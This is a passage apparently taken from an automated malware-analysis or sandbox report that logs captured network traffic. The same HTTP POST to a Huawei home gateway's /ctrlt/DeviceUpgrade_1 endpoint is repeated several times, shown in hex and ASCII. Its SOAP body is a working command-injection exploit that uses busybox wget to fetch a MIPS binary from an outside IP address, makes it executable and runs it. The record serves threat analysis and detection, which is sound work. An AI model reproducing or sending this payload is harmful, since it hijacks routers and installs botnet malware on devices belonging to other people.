70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
